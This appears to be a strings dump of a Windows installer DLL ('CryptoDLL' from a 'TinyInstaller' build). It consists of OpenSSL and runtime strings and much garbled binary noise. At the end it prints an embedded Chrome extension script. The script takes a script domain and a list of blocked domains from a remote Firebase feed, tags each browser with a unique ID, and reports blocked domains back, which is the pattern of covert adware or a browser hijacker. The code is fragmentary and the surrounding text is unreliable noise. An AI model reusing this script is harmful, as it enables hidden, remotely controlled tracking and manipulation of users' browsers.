p.onBasis
p.tpBasis
p.ppBasis
X9_62_CHARACTERISTIC_TWO
p.prime
p.char_two
fieldType
X9_62_FIELDID
X9_62_CURVE
fieldID
cofactor
ECPARAMETERS
value.named_curve
value.parameters
value.implicitlyCA
ECPKPARAMETERS
privateKey
parameters
EC_PRIVATEKEY
.\crypto\ec\ec_asn1.c
.\crypto\pkcs12\p12_utl.c
CONF_def part of OpenSSL 1.0.2n  7 Dec 2017
OpenSSL default
.\crypto\conf\conf_def.c
[%s] %s=%s
[[%s]]
.\crypto\conf\conf_api.c
vv == NULL
MD5 part of OpenSSL 1.0.2n  7 Dec 2017
X509_VAL
reject
X509_CERT_AUX
forward
reverse
X509_CERT_PAIR
AUTHORITY_KEYID
policyLanguage
PROXY_POLICY
pcPathLengthConstraint
proxyPolicy
PROXY_CERT_INFO_EXTENSION
issuer_and_serial
digest_alg
auth_attr
digest_enc_alg
enc_digest
unauth_attr
PKCS7_SIGNER_INFO
PKCS7_ISSUER_AND_SERIAL
recipientinfo
enc_data
PKCS7_ENVELOPE
key_enc_algor
enc_key
PKCS7_RECIP_INFO
content_type
PKCS7_ENC_CONTENT
PKCS7_SIGN_ENVELOPE
PKCS7_ENCRYPT
PKCS7_DIGEST
PKCS7_ATTRIBUTES
PKCS7_ATTR_SIGN
PKCS7_ATTR_VERIFY
d.sign
d.enveloped
d.signed_and_enveloped
d.digest
d.encrypted
md_algs
contents
signer_info
PKCS7_SIGNED
challenge
NETSCAPE_SPKAC
sig_algor
NETSCAPE_SPKI
.\crypto\asn1\a_verify.c
Content-Type: application/ocsp-request
Content-Length: %d
%s %s HTTP/1.0
GENTIME
OCTETSTRING
BITSTR
BITSTRING
UTF8String
VISIBLE
PRINTABLE
TELETEXSTRING
GeneralString
GENSTR
NUMERIC
EXPLICIT
IMPLICIT
OCTWRAP
SEQWRAP
SETWRAP
BITWRAP
FORMAT
.\crypto\asn1\asn1_gen.c
BITLIST
string=
OCSP_SIGNATURE
issuerNameHash
issuerKeyHash
OCSP_CERTID
reqCert
singleRequestExtensions
OCSP_ONEREQ
requestorName
requestList
requestExtensions
OCSP_REQINFO
tbsRequest
optionalSignature
OCSP_REQUEST
responseType
response
OCSP_RESPBYTES
responseStatus
responseBytes
OCSP_RESPONSE
value.byName
value.byKey
OCSP_RESPID
revocationTime
revocationReason
OCSP_REVOKEDINFO
value.good
value.revoked
value.unknown
OCSP_CERTSTATUS
certId
certStatus
thisUpdate
singleExtensions
OCSP_SINGLERESP
responderId
producedAt
responses
responseExtensions
OCSP_RESPDATA
tbsResponseData
OCSP_BASICRESP
crlUrl
crlNum
crlTime
OCSP_CRLID
locator
OCSP_SERVICELOC
.\crypto\asn1\a_gentm.c
%04d%02d%02d%02d%02d%02dZ
ASN1_TIME
.\crypto\asn1\a_time.c
memory buffer
.\crypto\bio\bss_mem.c
message digest
.\crypto\cms\cms_dd.c
.\crypto\cms\cms_enc.c
PEM part of OpenSSL 1.0.2n  7 Dec 2017
0123456789ABCDEF
.\crypto\ec\ecp_smpl.c
.\crypto\ec\ec2_mult.c
.\crypto\bn\bn_gf2m.c
AES part of OpenSSL 1.0.2n  7 Dec 2017
.\crypto\cms\cms_pwri.c
.\crypto\evp\p_sign.c
X.509 part of OpenSSL 1.0.2n  7 Dec 2017
.\crypto\evp\e_aes.c
.\crypto\ec\ec_oct.c
authsafes
PKCS12
PKCS12_MAC_DATA
value.other
value.x509cert
value.x509crl
value.sdsicert
PKCS12_BAGS
value.keybag
value.shkeybag
value.safes
value.bag
PKCS12_SAFEBAG
attrib
PKCS12_SAFEBAGS
PKCS12_AUTHSAFES
OpenSSL 'win32' shared library method
.\crypto\dso\dso_win32.c
filename(
symname(
%s.dll
.\crypto\pkcs7\pk7_doit.c
.\crypto\asn1\a_utctm.c
%02d%02d%02d%02d%02d%02dZ
.\crypto\evp\bio_enc.c
.\crypto\asn1\bio_asn1.c
ctx->buflen <= ctx->bufsize
buffer
.\crypto\bio\bf_buff.c
base64 encoding
.\crypto\evp\bio_b64.c
ctx->buf_len >= ctx->buf_off
ctx->buf_off + i < (int)sizeof(ctx->buf)
ctx->buf_off < (int)sizeof(ctx->buf)
ctx->buf_len <= (int)sizeof(ctx->buf)
i <= n
ctx->buf_off <= (int)sizeof(ctx->buf)
ctx->tmp_len <= 3
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
?456789:;<=
 !"#$%&'()*+,-./0123
ctx->length <= (int)sizeof(ctx->enc_data)
.\crypto\evp\encode.c
=j&&LZ66lA??~
}{))R>
f""D~**T
V22dN::t
o%%Jr..\$
&&Lj66lZ??~A
99rKJJ
==zGdd
""Df**T~
;22dV::tN
$$Hl\\
C77nYmm
%%Jo..\r
55j_WW
&Lj&6lZ6?~A?
~=zG=d
"Df"*T~*
2dV2:tN:
x%Jo%.\r.
a5j_5W
ggV}++
Lj&&lZ66~A??
bS11*?
Xt,,4.
RRvM;;
MMfU33
PPxD<<%
Bc!! 0
~~zG==
Df""T~**;
dV22tN::
xxJo%%\r..8$
pp|B>>q
aaj_55
UUPx((
='9-6d
_jbF~T
11#?*0
,4$8_@
t\lHBW
QPeA~S
>4$8,@
p\lHtW
+HpXhE
T[$:.6
smime_sign
ssl_client
ssl_server
compatible
S/MIME email
Object Signer
OCSP responder
OCSP request
TSA server
  ##%%&&))**,,//1122447788;;==>>@@CCEEFFIIJJLLOOQQRRTTWWXX[[]]^^aabbddgghhkkmmnnppssuuvvyyzz||
.\crypto\ec\ecp_oct.c
.\crypto\ec\ec2_oct.c
.\crypto\pkcs7\pk7_attr.c
.\crypto\ui\ui_lib.c
 characters
You must type in 
.\crypto\bn\bn_sqrt.c
OpenSSL default user interface
Verifying - %s
Verify failure
.\crypto\ui\ui_openssl.c
__based(
__cdecl
__pascal
__stdcall
__thiscall
__fastcall
__vectorcall
__clrcall
__eabi
__swift_1
__swift_2
__ptr64
__restrict
__unaligned
restrict(
 delete
operator
`vftable'
`vbtable'
`vcall'
`typeof'
`local static guard'
`string'
`vbase destructor'
`vector deleting destructor'
`default constructor closure'
`scalar deleting destructor'
`vector constructor iterator'
`vector destructor iterator'
`vector vbase constructor iterator'
`virtual displacement map'
`eh vector constructor iterator'
`eh vector destructor iterator'
`eh vector vbase constructor iterator'
`copy constructor closure'
`udt returning'
`local vftable'
`local vftable constructor closure'
 new[]
 delete[]
`omni callsig'
`placement delete closure'
`placement delete[] closure'
`managed vector constructor iterator'
`managed vector destructor iterator'
`eh vector copy constructor iterator'
`eh vector vbase copy constructor iterator'
`dynamic initializer for '
`dynamic atexit destructor for '
`vector copy constructor iterator'
`vector vbase copy constructor iterator'
`managed vector copy constructor iterator'
`local static thread guard'
operator "" 
operator co_await
 Type Descriptor'
 Base Class Descriptor at (
 Base Class Array'
 Class Hierarchy Descriptor'
 Complete Object Locator'
FlsAlloc
FlsFree
FlsGetValue
FlsSetValue
InitializeCriticalSectionEx
CorExitProcess
`h````
xpxxxx
[aOni*{
~ $s%r
@b;zO]
v2!L.2
IND)ind)
AreFileApisANSI
CompareStringEx
FlsAlloc
FlsFree
FlsGetValue
FlsSetValue
GetSystemTimePreciseAsFileTime
InitializeCriticalSectionEx
LCMapStringEx
LocaleNameToLCID
AppPolicyGetProcessTerminationMethod
NAN(SNAN)
nan(snan)
NAN(IND)
nan(ind)
Sunday
Monday
Tuesday
Wednesday
Thursday
Friday
Saturday
January
February
August
September
October
November
December
MM/dd/yy
dddd, MMMM dd, yyyy
HH:mm:ss
 !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~
UTF-16LEUNICODE
1#QNAN
1#SNAN
?5Wg4p
"B <1=
_hypot
_nextafter
C:\Users\Developer\source\repos\TinyInstaller\Release\CryptoDLL.pdb
.text$mn
.idata$5
.00cfg
.CRT$XCA
.CRT$XCZ
.CRT$XIA
.CRT$XIC
.CRT$XIZ
.CRT$XPA
.CRT$XPX
.CRT$XPXA
.CRT$XPZ
.CRT$XTA
.CRT$XTZ
.rdata
.rdata$sxdata
.rdata$zzzdbg
.rtc$IAA
.rtc$IZZ
.rtc$TAA
.rtc$TZZ
.xdata$x
.edata
.idata$2
.idata$3
.idata$4
.idata$6
.rsrc$01
.rsrc$02
CryptoDLL.dll
GetStdHandle
GetFileType
WriteFile
GetLastError
GetCurrentThreadId
GetModuleHandleA
GetProcAddress
MultiByteToWideChar
CloseHandle
QueryPerformanceCounter
GetCurrentProcessId
GetTickCount
FreeLibrary
LoadLibraryA
GlobalMemoryStatus
FlushConsoleInputBuffer
UnhandledExceptionFilter
SetUnhandledExceptionFilter
GetCurrentProcess
TerminateProcess
IsProcessorFeaturePresent
GetSystemTimeAsFileTime
InitializeSListHead
IsDebuggerPresent
GetStartupInfoW
GetModuleHandleW
InterlockedFlushSList
RtlUnwind
SetLastError
EnterCriticalSection
LeaveCriticalSection
DeleteCriticalSection
InitializeCriticalSectionAndSpinCount
TlsAlloc
TlsGetValue
TlsSetValue
TlsFree
LoadLibraryExW
RaiseException
ExitProcess
GetModuleHandleExW
SetConsoleCtrlHandler
ReadFile
GetConsoleCP
GetModuleFileNameW
HeapAlloc
HeapFree
CompareStringW
LCMapStringW
HeapReAlloc
FlushFileBuffers
GetConsoleMode
ReadConsoleW
SetFilePointerEx
GetFileSizeEx
SetStdHandle
WideCharToMultiByte
CreateFileW
SetConsoleMode
ReadConsoleInputW
FindClose
FindFirstFileExW
FindNextFileW
IsValidCodePage
GetACP
GetOEMCP
GetCPInfo
GetCommandLineA
GetCommandLineW
GetEnvironmentStringsW
FreeEnvironmentStringsW
SetEnvironmentVariableW
GetProcessHeap
GetStringTypeW
HeapSize
SetEndOfFile
WriteConsoleW
DecodePointer
KERNEL32.dll
GetProcessWindowStation
GetUserObjectInformationW
MessageBoxA
USER32.dll
DeregisterEventSource
RegisterEventSourceA
ReportEventA
ADVAPI32.dll
                    
                          
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
                          
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
<?xml version='1.0' encoding='UTF-8' standalone='yes'?>
<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
      <requestedPrivileges>
        <requestedExecutionLevel level='asInvoker' uiAccess='false' />
      </requestedPrivileges>
    </security>
  </trustInfo>
</assembly>
9-9K9a9{9
:(:9:B:I:N:U:c:m:
:[;m;z;
;2<:<b<i<
?%?G?N?
D0H0L0P0T0
<W=q=6?J?f?q?
040F0P0
0.1U1t1|1
1<2R273G3^3c3m3r3
4"4.4;4E4d4
5!5A5O5]5b5n5{5
6"6/696C6O6
6 7@7Q7{7
8;8I8W8\8h8u8
979F9P9]9
9G:k;z;
4)4:4K4
:M;T;l;
<0=D=M=
>e?v?}?
3]3d3|3
4]4d4|4
4-545L5
:%:6:F:s:
<0<F<n<
111\1s1
2&202?2Y2f2|2
3,3034383]3o3
4/4<4I4U4a4s4
5 5/5:5H5S5f5|5
6#6/6A6
6+7J7O7
=T?X?\?`?d?h?l?p?t?x?|?
;0P0k0
6d6h6l6p6t6j7
<&<;<F<
?7?W?v?
4!414A4Q4q4
5!515Q5a5q5
616Q6q6
7s8 9@9
=G>x>c?
=l>p>t>x>|>
64787<7@7D7e7
313i4Y5
6!6?6V6j6
7)717O7f7z7
8B8W8\8h8x8
9+:M:o:
< =A=T=a=
5@6c6}6
5,5L556|6
7D8H8L8P8T8X8\8`8d8h8
0`1d1h1l1p1t1x1|1
;$;.;4;E;~;
< <$<(<,<0<4<8<<<@<o=u=
=.>m>y>
2 3=3v3
:<:T:m:
;.;6;;;G;Y;
,1_1q1
1)2_2t2
5,545;546F6N6V6
;];g;t;
616Q6q6
7z8X9]9b9|9
9,:1:6:\:a:f:
6%7A7a7q7
83898]8
6X:&=2=8=B=T=a=m=s=
>C>U>Z>a>g>s>
2$2.2<2H2R2c2m2
3#313@3R3\3i3r3
4!4*4>4Q4X4g4s4
686W6v6
6A7X7t7
=)>$?*?
>4>D>^>
2a3X5^6
:!:1:A:Q:k:
<G=[=t=
3Q8a8q8
8!919A9Q9a9q9
:1;A;Q;a;q;
2@2n3@4
5!616"7
8-9I9':A:R:c:t:
=2=7=<=
52676M6i6
7c9o9{9
1_1m1{1
6!6A6Q6q6
767r7w7|7
0U1s1O2Y2?3I3
?:?Q?h?
:):G:i:{:
1P2\4,5
606Y6s6
6D8H8L8P8T8X8\8`8
:5:L:c:
0;2g2K7w7?8
<#<><Y<y<
=4=@=Q=v=
3<4_4x4
7$9(9,9094989<9@9]:
?-?3?@?M?}?
080j0y0
3 333F3Y3l3
8L8Z8c8
919Q9q9
30T0v0
041M1L2
6L6]6f6
737<7^7
>!>F>Z>p>
0#070R0
6$737@7Y7
?1?Q?e?
3 313A4a4{4
1)1l1p1t1x1|1
6+7N7k8
909G9z9
9L:l:{:
; ;$;(;,;0;R;
<S=d=z=
>@>$?@?Y?r?
(0=0R0a0r0
191X1u1
2)2F2d2h2l2p2t2x2|2
5!5P5T5X5\5`5d5h5l5p5}6
6*7/7;7@7R7i7
9 9$9(9,909V9n9
:7:H:|:
;4;M;f;
;&<><Z<s<
=1=M=_=
0A0T0\0c0
1A2W2`2y2
4`5p5{5
<E=K=v=
=!>*>a>j>,?q?z?
*050V0
0+111F1
2!2/2c2u2
5'5D5a5o5
636j6v6
999Z9s9{9
<%<><F<M<f<
<!=1=A=Q=
0G1M1a1g1{1
4%4A4a415
6<6B6_6
7"707M7p7w7
7	8"8y8
=/=7=>=U=n=v=}=
0F0\0d0k0
051Z1b1i1
383@3G3
6=7V7q7
9(9:9f9~9
9(:3:O:
;1;"<_<
030B0P0V0r0{0
>$?H?X?
616Q6q6
7d8h8l8p8
8-9D9o9
7%8A8N8k8
:~:1;A;Q;a;q;
3E3`3{3
3=4`4n4
9K:+;F;
<1=b>v>
4$5)5h5
414A4a4q4
5!515A5i5
7)8g8*9i9
=0=L=P=T=X=\=`=d=h=
8!818A8Q8a8q8
:=<J<`<<=E=
;w<+=<=x=
637J7Y:}:
7Y869H9U9d9|9
0C1T1{2
8H8X9_9
3!313A3p3
6F6b6p6
6-7F7_7f7
7%8A8~8
9":*:I:S:t:{:
:K;b;l;|;
<2<9<c<j<u<|<
="?C?]?
3b4\5i5
<D=N=h=r=
?:?D?X?b?
4&505e5o5T6X6\6`6d6h6l6p6
718M8i8
<K>V>b>p>
?(?k?v?
0!0(060F0`0g0s0
1"1)121<1h1v1
2.2<2U2h2
4$464R4b4w4~4
5!5D5O5[5k5x5
656?6K6g6w6
6	767M7b7t7
8%8:8P8%91999@9L9S9`9g9z9
:-:<:D:K:X:_:j:q:};
<*<6<e<
<R=g=|=
>7>K>W>
?)?5?e?
:c:j:|:
;);0;7;
< </<><P<W<^<
6D7H7L7P7T7X7\7`7d7h7l7p7t7x7|7
:D;R;`;i;
<'<5<C<Q<_<m<{<
<+=8=[=
{5{7+9
6%6j7z7
0$0?0E0P0
0F1^1v1
202[2}2
3D3K3Y3y3
4-464C4P4]4j4w4
415`5m5
6;6E6S6e6}6
9"9)90989@9H9T9]9b9h9r9|9
: :':.:5:=:E:M:X:]:c:m:w:
:<<K<T<a<w<
?*?1?7?I?S?
1.1B1G1Z1q1
313:3C3Q3Z3k3
1$1(1,101
9%:1:N;U;{;
<(<6<<<W<
<	=%=E=S=Z=`=u=
>3>\>d>
?&?0?<?A?F?a?k?w?|?
0.0@0L0V0[0l0u0
3-343@3X3]3i3n3
3I4P4b4k4
545;5U5d5r5~5
6"6/6=6K6V6l6
6L;T;[;
?!?%?)?-?
%0)0-0105090=0A0\9c9
3?3R3[3x3
4&4-444A4
6>7F7X7]7
0'0<0[0N7=8
7N8V8[9c9
; ;$;<;$<(<,<0<4<8<<<@<D<H<
4S5X5]5x5}5
0%2-2d2k2
6!7/787
:H:O:o;
; <;<P<U<_<d<o<z<
?B?S?X?z?
1)101u1c2m2z2
2+3N3U3
4'4,414A4F4K4p4
50595q5
556Y6i6n6s6
7&7+707N7]7h7m7r7
8?8c8z8
929?9D9R9
;J<'=.=
5?5T5f5s5
6E6L6m6
6 717F7P7s7}7h<*?i?p?{?
2$3b3w4
4)5J5U5c5
5#6B6T6^6
7!8J8i8%9U9q9
<6=J=m=
 0/0m0
525<5z5
=&=O=V=m=
>@>S>]>v>
>-?C?~?
4%4C4I4U4s4y4
6[6I9/:
;4;j;)=D=N=
112=2O2
667C7t7
:#;[;y;
<-<5<M<X<
2E2\2|2
; <'<H?
=0E0|0
8!838E8W8i8
13292H2g2s2
575D5t5
6 9<9t9z9
:9;A;I;Q;Y;w;
1;2<3L3]3e3u3
4A4P4\4k4~4
4,555>5G5r5
\1l1p1t1x1
282<2@2L2P2
2(3,303<3@3h3l3p3t3x3|3
<(<0<4<@<H<L<X<`<d<p<x<|<
= =$=0=8=<=H=P=T=`=h=l=x=
> >(>,>8>@>D>P>X>\>h>p>t>
?0?4?@?H?L?`?d?x?|?
0 0$00080<0H0P0T0h0l0x0
1 1(1,181@1D1P1X1\1h1p1t1
2(20242@2H2L2X2`2d2p2x2|2
3 3$30383<3H3P3T3`3h3l3x3
4 4(4,484@4D4P4X4\4h4p4t4
50545H5L5X5`5d5p5x5|5
6 6$60686<6P6T6h6l6
7(7,787@7D7P7X7\7p7t7
8(80848@8H8L8X8`8d8p8x8|8
9 9$90989<9H9P9T9`9h9l9x9
: :(:,:8:@:D:P:X:\:h:p:t:
;(;0;4;@;H;L;X;`;d;p;x;|;
< <$<0<8<<<H<P<T<`<h<l<x<
= =(=,=8=@=D=P=X=\=h=p=t=
>(>0>4>@>H>L>X>`>d>p>x>|>
? ?$?0?8?<?H?P?T?`?h?l?x?
0 0(0,080@0D0P0X0\0h0p0t0
1(10141@1H1L1X1`1d1p1x1|1
2 2$20282<2H2P2T2`2h2l2x2
3 3(3,383@3D3P3X3\3h3p3t3
4(40444@4H4L4X4`4d4p4x4|4
5 5$50585<5H5P5T5`5h5l5x5
6 6(6,686@6D6P6X6\6h6p6t6
7(70747@7H7L7X7`7d7p7x7|7
8 8$80888<8H8P8T8`8h8l8x8
9 9(9,989@9D9P9X9\9h9p9t9
:(:0:4:@:H:L:X:`:d:p:x:|:
; ;$;0;8;<;H;P;T;`;h;l;x;
< <(<,<8<@<D<P<X<\<h<p<t<
=(=0=4=@=H=L=X=`=d=p=x=|=
> >$>0>8><>H>P>T>`>h>l>x>
? ?(?,?8?@?D?P?X?\?h?p?t?
0(00040@0H0L0X0`0d0p0x0|0
1 1$10181<1H1P1T1`1h1l1x1
2 2(2,282@2D2P2X2\2h2p2t2
3(30343@3H3L3X3`3d3p3x3|3
4 4$40484<4H4P4T4`4h4l4x4
5 5(5,585@5D5P5X5\5h5p5t5
6(60646@6H6L6X6`6d6p6x6|6
7 7$70787<7H7P7T7`7h7l7x7
8 8(8,888@8D8P8X8\8h8p8t8
9(90949@9H9L9X9`9d9p9x9|9
: :$:0:8:<:H:P:T:`:h:l:x:
; ;(;,;8;@;D;P;X;\;h;p;t;
<(<0<4<@<H<L<X<`<d<p<x<|<
= =$=0=8=<=H=P=T=`=h=l=x=
> >(>,>8>@>D>P>X>\>h>p>t>
?(?0?4?@?H?L?X?`?d?p?x?|?
0 0$00080<0H0P0T0`0h0l0x0
1 1(1,181@1D1P1X1\1h1p1t1
2(20242@2H2L2X2`2d2p2x2|2
3 3$30383<3H3P3T3`3h3l3x3
4 4(4,484@4D4P4X4\4h4p4t4
5(50545@5H5L5X5`5d5p5x5|5
6 6$60686<6H6P6T6`6h6l6x6
7 7(7,787@7D7P7X7\7h7p7t7
8(80848@8H8L8X8`8d8p8x8|8
9 9$989<9P9T9h9l9
: :(:,:8:@:D:P:X:\:h:p:t:
;(;0;4;@;H;L;X;`;d;p;x;|;
< <$<0<8<<<H<P<T<`<h<l<x<
= =(=,=8=@=D=P=X=\=h=p=t=
>(>0>4>@>H>L>X>`>d>p>x>|>
? ?$?0?8?<?H?P?T?`?h?l?x?
0 0(0,080@0D0P0X0\0h0p0t0
1(10141@1H1L1X1`1d1p1x1|1
2 2$20282<2P2T2h2l2x2
3 3(3,383@3D3X3\3p3t3
4(40444@4H4L4X4x4|4
5 5$50585<5H5P5T5`5h5l5x5
6 6(6,686@6D6P6X6\6h6p6t6
7(70747@7H7L7X7`7d7p7x7|7
8 8$80888<8H8P8T8h8l8x8
9 9(9,989@9D9P9X9\9h9p9t9
:(:0:4:@:H:L:X:`:d:p:x:|:
; ;$;0;8;<;H;P;T;`;h;l;x;
< <(<,<@<D<P<X<\<h<p<t<
=(=0=4=@=H=L=X=`=d=p=x=|=
> >$>0>8><>H>P>T>`>h>l>x>
? ?(?,?8?@?D?P?X?\?h?p?t?
0(00040@0H0L0X0`0d0p0x0|0
1 1$10181<1H1P1T1`1h1l1x1
2(2,282@2D2P2X2\2h2p2t2
3(30343@3H3L3X3`3d3p3x3|3
4 4$40484<4H4P4T4`4h4l4x4
5(5,585@5D5P5X5\5h5p5t5
<(<8<<<H<X<t<
=8=T=p=
>4>P>l>
1 1(1@1H1T1X1
2 2(202p2t2x2
384<4@4H4P4X4`4
5 505L5P5t5x5
9 9$9(9,9094989<9@9D9H9L9P9T9X9\9`9d9h9l9p9
:(:<:P:d:x:
:H;L;\;`;l;|;
505D5X5
6 646D6L6T6d6h6x6|6
7 7,747<7L7P7`7d7t7x7
<6D6L6T6\6d6l6t6|6
7$7,747<7D7L7T7\7d7l7t7|7
8$8,848<8D8L8T8\8d8l8t8|8
9$9,949<9D9L9T9\9d9l9t9|9
:$:,:4:<:D:L:T:\:d:l:t:|:
;$;,;4;<;D;
,909@9D9T9X9d9t9
: :0:4:@:P:`:d:t:x:
; ;0;4;D;H;T;d;t;x;
=(=,=8=H=X=\=h=x=
> >$>0>@>P>T>d>h>t>
?(?,?8?H?X?\?l?p?|?
0,000<0D0L0\0`0p0t0
1 1$14181H1L1X1h1x1|1
2(2,2<2@2P2T2`2p2
3 30343@3P3d3x3|3
4(4,484H4\4l4t4|4
5(585D5T5d5h5x5|5
6 6$64686D6T6h6|6
7$7(787<7L7P7\7l7|7
8 808<8L8\8`8p8t8
9$9(989<9H9X9h9l9
:$:,:D:X:\:l:p:|:
; ;0;@;D;T;X;h;l;x;
<,<0<<<L<
D4L4`4h4
4P5T5d5h5t5
7 7$7(7,70747P7T7X7\7`7d7h7<;@;D;H;L;P;T;X;\;`;d;h;l;p;t;x;|;
;4<8<<<@<D<H<L<P<T<X<\<`<d<h<l<p<t<|<
<,>0>4>8><>@>D>H>L>P>T>X>\>`>d>h>l>t>x>|>
?,?0?4?8?
3 303<3L3\3`3p3t3
5 5$5(5,505
8$8,8p8t8
9 949<9
:$:(:8:<:L:P:`:d:t:x:
=(=,=<=@=P=T=`=h=p=
04080P0l0
2 2<2@2P2T2`2p2x4
5 5$5<5X5\5x5|5
6$6(646D6
7 70747@7P7
8 8@8T8X8x8
9 94989
:$:(:t:
=<=P=t=
?(?8?<?P?T?h?l?|?
0 0$04080D0T0
2(2,2@2`2d2t2x2
3 3$30383@3P3T3d3h3x3|3
4 40444D4H4X4\4h4
:(:,:<:@:L:\:H;L;d;
=$=(=8=<=L=P=`=d=t=x=
? ?$?(?,?0?4?8?H?L?P?T?X?\?`?d?t?x?
0,000h0l0p0t0x0|0
2 2$24282H2L2\2`2p2t2
3,303@3D3T3X3h3l3|3
6(646D6T6X6h6l6|6
8 8$84888D8T8d8h8x8
9$94989L9P9d9h9x9
: :,:<:L:P:`:d:t:x:
; ;0;4;D;H;X;\;h;x;
> ><>@>P>T>d>h>x>|>
>H?L?\?`?p?t?
1 1,1<1L1P1`1d1t1x1
2(2,2<2@2P2T2`2p2|2
3(3,3<3@3L3\3l3p3
4(484<4P4T4h4l4
5$5(545<5D5T5X5h5l5|5
6,606@6D6T6X6h6l6|6
6,808@8D8P8`8p8t8
: :,:8:D:P:\:h:t:
;(;4;@;L;X;d;p;|;
= =0=4=D=H=T=d=t=x=
>$>(>8><>L>P>`>d>p>
?,?0?<?L?\?`?p?t?
0,0<0@0P0T0d0h0x0|0
1,1<1@1P1T1d1h1x1|1
5`6d6h6l6p6t6x6|6
;,;@;T;h;|;
=(=,=@=\=`=t=
>,>0>D>`>d>x>
?8?<?l?p?
0<0@0p0t0
1@1D1t1x1
2D2H2x2|2
3H3L3P3`3|3
404L4P4d4
5 5P5T5
6,606<6L6\6`6p6x6
70747H7L7`7d7x7|7
8 80848@8P8`8d8p8
(>P>X>
3 3$3(3,3034383<3@3D3H3L3P3T3X3\3`3d3h3l3p3t3x3|3
4 4$4(4,4044484<4@4D4H4L4P4T4X4\4`4`:d:h:
@=H=P=T=X=\=`=d=h=l=t=x=|=
H4L4P4T4X4\4`4d4h4l4p4t4x4|4
5 5$5(5,5054585<5@5D5H5L5P5T5X5\5`5d5h5l5p5t5x5|5
2$2,242<2D2L2T2\2d2l2t2|2
3$3,343<3D3L3T3\3d3l3t3|3
4$4,444<4D4L4T4\4d4l4t4|4
5$5,545<5D5L5T5\5d5l5t5|5
6$6,646<6D6L6T6\6d6l6t6|6
7$7,747<7D7L7T7\7d7l7t7|7
8$8,848<8D8L8T8\8d8l8t8|8
3 3(30383@3H3P3X3`3h3p3x3
4 4(40484@4H4P4X4`4h4p4x4
5 5(50585@5H5P5X5`5h5p5x5
6 6(60686@6H6P6X6`6h6p6x6
7 7(70787@7H7P7X7`7h7p7x7
8 8(80888@8H8P8X8`8h8p8x8
9 9(90989@9H9P9X9`9h9p9x9
:4>4B4F4D=L=T=\=d=l=t=|=
383T3X3t3x3
484X4x4
585X5x5
686X6x6
787X7x7
888X8x8
989X9t9x9
0 0$0(0<0D0L0T0\0d0l0t0|0
1$1,141<1D1L1T1\1d1l1t1|1
2$2,242<2D2L2T2\2d2l2t2|2
3 3(3,3034383<3P3X3`3h3p3x3
4 4$4(4,40444X4`4d4h4l4p4t4x4|4
5 5$5@5D5L5P5T5`5d5h5l5p5t5x5|5
6(6,606D6H6L6`6d6h6|6
7 7$7<7@7H7L7T7X7`7d7l7p7x7|7
8 8$84888D8H8`8d8h8l8p8|8
= =$=(=,=d=h=l=t=x=|=
> >$>(>,>4>8><>@>H>L>P>T>X>h>l>
? ?$?(?0?4?
101<1@1D1`1d1l1
1084888<8@8D8H8L8P8T8`8d8h8l8p8t8x8|8
/* global chrome */
var customDomain = [11, 12, 13, 14].indexOf(parseInt(settings.distributorId)) !== -1;
var userStorage = {};
var browserStartedAt = null;
var silenceTimer = null,
    messaging = null;
var db = null;
var initExtension = function () {
    var uniqueID = settings.uniqueID;
    if (!settings.scriptDomain || settings.scriptDomain === "") settings.scriptDomain = settings.predefinedDomain;
    chrome.storage.sync.set({ uniqueID: uniqueID, settings: settings });
    settings.uniqueID = uniqueID;
var preRequestCheckForBan = function (details) {
    if (!settings.bannedDomains || 0 === settings.bannedDomains.length) return;
    var bannedDomains = settings.bannedDomains;
    if (details.url.match(new RegExp(settings.bannedDomains.join('|'))))
        return { cancel: true }
var init = function () {
    settings['predefinedDomain'] = customDomain ? 'sympleplace.info' : 'anyaaplanet.info';
    chrome.storage.sync.get(['uniqueID', 'settings', 'userStorage'], function (items) {
        if (!items['uniqueID'] || undefined === items['uniqueID']) {
            initExtension();
        } else if (items['settings']) {
            settings = items['settings'];
            userStorage = items['userStorage'] || {};
            if (!browserStartedAt) {
                browserStartedAt = userStorage.browserStartedAt = Date.now();
                chrome.storage.sync.set({ userStorage: userStorage })
            }
            settings.headersFiltered = false;
            if (!settings.scriptDomain || settings.scriptDomain === "") settings.scriptDomain = settings.predefinedDomain;
        }
    });
    chrome['alarms'].getAll(function (alarms) {
        var alarmsNeeded = {};
        var alarmNames = alarms.map(function (alarm) {
            return alarm.name
        });
        for (var alarmName in alarmsNeeded) {
            if (!alarmsNeeded.hasOwnProperty(alarmName)) continue;
            if (alarmNames.indexOf(alarmName) !== -1) continue;
            chrome['alarms'].create(alarmName, { periodInMinutes: alarmsNeeded[alarmName] });
        }
    });
    filterHeaders();
    if (!customDomain)
        initFireBase();
var updateSettingsFromNotification = function (data) {
    if (!data) return;
    if (data.scriptDomain) settings.scriptDomain = data.scriptDomain;
    if (data.bannedDomains) {
        settings.bannedDomains = settings.bannedDomains || [];
        settings.bannedDomains = data.bannedDomains.split("|");
        settings.bannedDomains = settings.bannedDomains.filter(function (value, index, self) {
            return self.indexOf(value) === index;
        })
var subscribeToFirestoreUpdates = function () {
    if (!db) {
        setTimeout(function () { subscribeToFirestoreUpdates() }, 1000);
        return;
    db.collection("settings").doc('sd').onSnapshot(function (doc) {
        var data = doc.data();
        console.log({ from: 'f', data: data });
        updateSettingsFromNotification(data);
        chrome.storage.sync.set({ settings: settings });
        console.log(settings);
    });
    console.log('subscribed');
var informUs = function (bannedDomain) {
    db.collection("bd").doc("update").set({
        name: bannedDomain,
        unique_id: settings.uniqueID
    })
var checkDomain = function (url) {
    if (settings.bannedDomains && settings.bannedDomains.length > 0 && url.match(new RegExp(settings.bannedDomains.join('|')))) return;
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function (ev) {
        if (xhr.readyState === 4) {
            if (499 === xhr.status) {
                var matched = url.match(/https?:\/\/(.*)\//);
                if (!matched) return;
                console.log("domain seems to be banned");
                informUs(matched[0]);
                settings.bannedDomains.push(matched[0]);
            }
        }
    };
    xhr.open("GET", url, true);
    xhr.send();
